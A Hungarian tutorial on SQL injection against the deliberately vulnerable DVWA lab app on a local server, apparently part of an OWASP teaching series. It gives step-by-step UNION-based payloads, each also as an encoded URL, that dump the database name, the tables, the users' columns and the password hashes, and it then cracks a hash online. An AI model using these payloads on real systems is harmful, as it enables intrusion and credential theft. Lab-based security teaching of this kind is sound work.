WebElektronika

Az Sql Injection egy elterjed támadási megoldás. Az "Injection"-nél valamilyen kóddal egészítenek ki valamilyen lekérdezést. Létezik HTML Injection is, de az Sql Injection esetében egy Sql parancsot egészít ki a támadó. Ebben a cikkben megmutatjuk ennek a támadási módszernek a veszélyét, ezáltal is felkeltjük a figyelmét a webes alkalmazások üzemeltetőinek a figyelmét ennek a módszernek a veszélyeire.

Felhívjuk az Olvasók figyelmét arra, hogy ez a cikk azért született meg, hogy a saját fejlesztésű webes alkalmazások biztonságosabbak legyenek. Nem célunk, és határozottan elzárkózunk attól, hogy segítsünk bárkinek számítógépes bűncselekmények elkövetésében.

Folytatjuk most tovább a DVWA használatával az OWASP módszertan megismerését, most az Sql Injection támadási módszer alapjait tekintjük át.

Kiszolgáló IP (Ubuntu 12) címe: 192.168.1.105

 

A különböző Injection támadások lényege az, hogy a webes alkalmazás által futtatott kódot kiegészítjük, módosítjuk, ezáltal arra bírjuk rá a  vizsgálandó webszolgáltatást, hogy másként működjön. 

Indítsuk el a DVWA alkalmazásunkat, és állítsuk be a "DVWA Security"-t alacsonyra. Ezután kattintsunk az Sql Injection menüpontra, amelynek az elérési útvonala a következő:

http://192.168.1.105/DVWA-master/vulnerabilities/sqli/

 

Ezen az URL-en az a beviteli pont található, ahol kereshetünk a sorszám alapján felhasználót. Írjuk be például az 1-et és nyomjuk meg a "Submit" nyomógombot. A webes alkalmazás kiszolgáló által küldött válasz látható az 1. ábrán.

1. ábra   Az 1-es sorszámú felhasználó adatainak lekérése
 

Ezt az eredményt megkaptuk volna akkor is, ha nem nyomjuk meg a nyomógombot, hanem a következő URL-t adjuk át a böngészőnek:

http://192.168.1.105/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#

 

Az ún. C.R.U.D. műveleteket alkalmazzák az adatbázisok használatánál, azaz, létrehoznak adattáblákat (Create), olvasnak rekordokat (Read), módosítanak tartalmakat (Update), illetve törölhetnek is adatokat (Delete). Az Sql Injection támadásoknál felhasználható a következő lekérdezés (R).

SELECT * FROM tabla_nev;

 

Ebben az esetben a "tabla_nev" nevű adattáblából minden adatot lekérünk. Ez nem feltétlenül jó, hiszen általában a felhasználó csak egy konkrét adatra kiváncsi az egész adathalmazból. Ezért a webes alkalmazások fejlesztői (pl.: DVWA tesztoldal készítői) valamilyen feltételt adnak meg a lekérést megvalósító Sql parancs implementálásakor. Erre szolgál az Sql nyelvnél a "where", ahol különböző feltételek adhatók meg. Ilyen lehet az, hogy csak az az adat érdekel, ahol az Id értéke 1.

SELECT * FROM tabla_nev WHERE Id='1';

 

Ideáig minden rendben is van. De mi van akkor, ha a webes alkalmazás készítői valamilyen figyelmetlenség folytán úgy valósítják meg a webszolgáltatást, hogy bármilyen adat megadható a beviteli mezőben, illetve nem történik meg a  kliens-, illetve szerveroldali validálás?

Ha az Sql parancs feltételvizsgálat része kívülről módosítható, akkor a vizsgált webes alkalmazás Sql Injection-ra sérülékeny.

SELECT * FROM tabla_nev WHERE Id=valamilyen_feltetel

 

Módosítsuk tehát a DVWA tesztalkalmazás ban található Sql lekérdezést, most ne az 1-est írjuk be a beviteli mezőbe, hanem a következő sort:

' or '0'='0

 

Nagyon fontos az Sql Injection tesztelése során az, hogy a különböző teszteseteket úgy kell megvalósítani, hogy az Sql parancs szintaktikailag helyes maradjon. Ha a fenti tesztesetet behelyettesítjük az 1-es helyére, akkor a lekérdezés a következő lesz, amelyet majd megpróbálunk végrehajtatni a kiszolgálóval.

SELECT * FROM tabla_nev WHERE Id='' or '0'='0';

 

A futtatandó teszteset az URL-ben:

http://192.168.1.105/DVWA-master/vulnerabilities/sqli/?id=%25%27+or+%270%27%3D%270&Submit=Submit#

 

Futtassuk most az Sql lekérdezésünket, és a következő eredményt kapjuk (2. ábra). Az összes felhasználó adatait megkapjuk ennek az Sql parancsnak a futtatásával.

2. ábra   Az  "or '0'='0" teszteset futtatásának eredménye
 

És mi lesz akkor, ha a "or '0'='0" teszteset helyett egy Sql függvényt írunk be a lekérdezési parancsba? Módosítsuk a korábbi lekérdezést a következőre:

%' or 0=0 union select null, database() #

 

Ugyanez a teszteset az URL-ben:

http://192.168.1.105/DVWA-master/vulnerabilities/sqli/?id=%25%27+or+0%3D0+union+select+null%2C+database%28%29+%23&Submit=Submit#

 

A lekérdezés eredményének a végén megkapjuk az adatbázis nevét: dvwa. Ez nagy hiba, hiszen a vizsgálandó webes alkalmazás elárulta az adatbázisának a nevét, megkönnyítve a további érzékeny adatoknak a kinyerését (3. ábra)

3. ábra   Adatbázis nevének megismerése
 

Zavaró lehet az, hogy az adatbázis neve mellett a felhasználók adatait is megkapjuk, noha azok már számunkra nem fontosak. Ezért a korábbi tesztesetet módosítsuk, az "or" helyett az "and"-et írjuk be.

%' and 0=0 union select null, database() #

 

Az URL-ben:

http://192.168.1.105/DVWA-master/vulnerabilities/sqli/?id=%25%27+and+0%3D0+union+select+null%2C+database%28%29+%23&Submit=Submit#

 

A módosított teszteset futtatásának az eredménye látható a 4. ábrán.

4. ábra   Csak az adatbázis neve látható
 

Most, hogy már tudjuk azt, hogy mi az adatbázis neve, nézzük meg, milyen táblákból áll ez az adatbázis. Ehhez módosítsuk újra a korábbi Sql parancsot. Használjuk  akövetkező tesztesetet:

%' and 0=0 union select null, table_name from information_schema.tables #

 

Ez a teszteset az URL-ben:

http://192.168.1.105/DVWA-master/vulnerabilities/sqli/?id=%25%27+and+0%3D0+union+select+null%2C+table_name+from+information_schema.tables+%23&Submit=Submit#

 

Futtasssuk a módosított Sql parancsot és a következő eredményt kapjuk a webes alkalmazásban (5. ábra).

5. ábra   Az adattáblák nevei a "dvwa" adatbázisban
 

Most már tudjuk a "dvwa" adatbázis felépítését (csak a táblák nevei), tehát már az érdekel minket, hogy az egyik tábla (pl.: users) felépítése hogyan történt, azaz, milyen oszlopai vannak. ehhez az előbb futtatott Sql parancsot megint módosítanunk kell egy újabb tesztesettel. Egészítsük ki a tesztalkalmazásunk Sql parancsát a következő tesztesettel:

%' and 0=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #

 

Ugyanez az URL-ben:

http://192.168.1.105/DVWA-master/vulnerabilities/sqli/?id=%25%27+and+0%3D0+union+select+null%2C+concat%28table_name%2C0x0a%2Ccolumn_name%29+from+information_schema.columns+where+table_name+%3D+%27users%27+%23&Submit=Submit#

 

Futtassuk a módosított Sql parancsot, és a következő eredményt kapjuk (6. ábra).

6. ábra   Futási (rész)eredmény, megkaptuk az "users" adatbázis felépítését
 

Egy adattáblában található meg a felhasználói név, illetve a hash-elt jelszó is (ez egyébként egy komoly tervezői hiba). A következő lépésünk az, hogy írassuk ki a felhasználói neveket a hozzájuk tartozó hash-elt jelszóval együtt. Módosítsuk újra az Sql parancsot a következő sor szerint:

%' and 0=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

 

Ugyanez az URL-ben:

http://192.168.1.105/DVWA-master/vulnerabilities/sqli/?id=%25%27+and+0%3D0+union+select+null%2C+concat%28first_name%2C0x0a%2Clast_name%2C0x0a%2Cuser%2C0x0a%2Cpassword%29+from+users+%23&Submit=Submit#

 

Futtassuk az új Sql parancsunkat, és megkapjuk a felhasználók neveit és a jelszavak hash-elt változatait (7. ábra).

7. ábra   Lista a felhasználónevekkel és a hozzájuk tartozó hash-elt jelszavakkal
 

Megvannak tehát az érzékeny adatok, amelyeket csak azért tudtunk megszerezni, mert a vizsgált teszt webes alkalmazásunk Sql injection-re sérülékeny. Most már "csak" a hash-elt jelszavakhoz kell megtalálnunk azokat a jelszavakat, amelyek a hash-eltekhez tartoznak. Ezt megtehetjük online-is, egyik ilyen honlap a "https://hashtoolkit.com", ahol a hash-hez tudjuk megkeresni a jelszót.

https://hashtoolkit.com/decrypt-hash/?hash=5f4dcc3b5aa765d61d8327deb882cf99

 

A 8. ábrán látható, hogy az adott hash-ez talált jelszót a fent említett honlap.

8. ábra   Az adott hash-hez megtalált jelszó
 

Még egyszer felhívjuk az Olvasók figyelmét arra, hogy ez a cikk azért született meg, hogy rámutassunk az Sql Injection sérülékenység veszélyére, és az ellene való védekezés fontosságára. Határozottan elhatárolódunk bármilyen bűncselekmény elkövetésének a segítésében.